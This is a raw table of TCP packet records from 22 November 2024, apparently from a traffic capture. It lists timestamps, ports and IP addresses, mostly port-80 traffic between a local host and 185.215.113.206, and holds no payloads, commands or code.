Nov 22, 2024 14:43:52.879551888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.879642963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.879659891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.879677057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.885560036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.885631084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.885682106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.885745049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.891565084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.891638041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.891671896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.891746044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.897581100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.897599936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.897656918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.897706985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.904321909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.904342890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.904388905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.904431105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.909651041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.909699917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.909706116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.909745932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.915640116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.915688038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.915750027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.919341087 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.921664953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.921731949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.921732903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.921838999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.927683115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.927709103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.927759886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.933717012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.933763981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.933787107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.933814049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.939757109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.939807892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.939816952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.939893961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.944729090 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.944747925 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.945749044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.945761919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.945835114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.951801062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.951864958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.951869011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.952047110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.957747936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.957787037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.957815886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.957815886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.960823059 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.963798046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.963951111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.963968039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.963994026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.969907999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.969919920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.969958067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.970000029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.975950003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.975964069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.976027966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.981759071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.981892109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.050374031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.050448895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.050525904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.050683022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.051870108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.051903963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.051961899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.051961899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.056535959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.056658030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.056880951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.056935072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.060076952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.060193062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.060324907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.065165043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.065176964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.065224886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.069549084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.069608927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.069677114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.069793940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.074126959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.074140072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.074191093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.078567982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.078579903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.078713894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.082637072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.082695007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.083038092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.083105087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.086822033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.086875916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.087094069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.087141991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.090936899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.090970993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.090986967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.091026068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.094952106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.094980001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.095038891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.095091105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.099159002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.099225998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.099250078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.099453926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.102859020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.102869987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.102917910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.106687069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.106703997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.106750965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.110470057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.110488892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.110534906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.110729933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.112632036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.112643003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.112684011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.114835978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.114898920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.114914894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.114969969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.117021084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.117095947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.117275000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.117444038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.119076014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.119088888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.119123936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.121247053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.121258974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.121316910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.121316910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.123373032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.123444080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.123599052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.123656988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.125643015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.125657082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.125705004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.126658916 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.127742052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.127754927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.127810001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.129847050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.129898071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.130215883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.130254984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.132173061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.132184982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.132231951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.132272959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.134196997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.134244919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.134280920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.134319067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.136363029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.136379004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.136425018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.138526917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.138539076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.138581038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.140655994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.140700102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.140930891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.141148090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.142828941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.142841101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.142879009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.142925024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.145021915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.145034075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.145072937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.145101070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.147553921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.147588968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.147617102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.147660971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.149312019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.149323940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.149372101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.151467085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.151513100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.251593113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.251607895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.251682997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.252756119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.252861023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.253029108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.253088951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.253145933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.255203962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.255281925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.255460978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.255517006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.257344961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.257405996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.257416010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.257627010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.259548903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.259586096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.259625912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.259653091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.261528015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.261539936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.261595964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.263154030 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:53.263248920 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:53.263379097 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:53.263699055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.263711929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.263753891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.263777971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.264027119 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:53.264044046 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:53.265536070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.265548944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.265602112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.267441034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.267455101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.267533064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.269176006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.269190073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.269231081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.271035910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.271099091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.271141052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.271274090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.272836924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.272896051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.272928953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.272994041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.274625063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.274748087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.274765968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.274897099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.276349068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.276412964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.276783943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.276875019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.277331114 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.277415991 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.278104067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.278115988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.278177977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.279825926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.279838085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.279892921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.281502962 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.281512976 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.281663895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.281677008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.281717062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.281739950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.281831026 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.283579111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.283591986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.283638954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.284082890 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.284111977 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.284116983 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.284245014 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.285032988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.285046101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.285084009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.285106897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.286802053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.286815882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.286884069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.288480043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.288494110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.288518906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.288537979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.290208101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.290220976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.290278912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.291992903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.292043924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.292088032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.292165041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.293665886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.293678045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.293739080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.295418978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.295432091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.295475960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.297108889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.297122002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.297158003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.297178984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.298872948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.298885107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.298935890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.300529003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.300617933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.300669909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.302308083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.302321911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.302347898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.302371979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.304080963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.304094076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.304172039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.305701017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.305763006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.305908918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.305962086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.307491064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.307502985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.307540894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.309180975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.309247971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.309279919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.309374094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.310957909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.311016083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.311031103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.311069012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.312693119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.312737942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.312824965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.312890053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.314393997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.314408064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.314469099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.316342115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.316395998 CET	80	49819	185.215.113.206	192.168.2.6
